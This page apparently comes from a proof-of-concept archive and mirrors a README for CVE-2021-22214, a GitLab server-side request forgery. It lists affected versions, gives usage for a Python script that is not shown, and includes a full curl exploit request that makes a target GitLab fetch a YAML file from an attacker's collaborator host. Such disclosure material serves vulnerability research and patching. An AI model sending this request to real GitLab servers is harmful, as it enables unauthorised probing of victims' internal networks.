Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-22214 PoC — GitLab 代码问题漏洞

Source
Associated Vulnerability
Title:GitLab 代码问题漏洞 (CVE-2021-22214)
Description:When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is limited
Description
POC for CVE-2021-22214: Gitlab SSRF
Readme
# CVE-2021-22214
POC for CVE-2021-22214: Gitlab SSRF

<img src="./ssrf.png" />

## Description
The remote GitLab install contains a Server-side request forgery (SSRF) vulnerability as a result of the internal network for webhooks being enabled. A remote, unauthenticated attacker can exploit a registration-limited GitLab instance causing it to make HTTP requests to an arbitrary domain of the attacker's choosing.

## usage
* ## python code
  ```
  usage:   python3 GitLab_SSRF.py <target> <burp_collaborator_url>
  ```
* ### Curl command
```
curl -s –show-error -H 'Content-Type: application/json' https://TargetIP/api/v4/ci/lint –data '{ "include_merged_yaml": true, "content": "include:\n remote: http://Burp-Collaborator/test.yml"}' 
```




### Affect
* Gitlab >=10.5, <13.10.5
* Gitlab >=13.11, <13.11.5
* Gitlab >=13.12, <13.12.2


### Reference
* [GitLab SSRF (CVE-2021-22214)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22214)
* [tenable.com](https://www.tenable.com/plugins/nessus/152483)
File Snapshot

[4.0K] /data/pocs/14c7b843969e3452e73e27be78c0b8e40eb4da87 ├── [1.6K] GitLab_SSRF.py ├── [6.9K] LICENSE ├── [1017] README.md └── [ 30K] ssrf.png 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →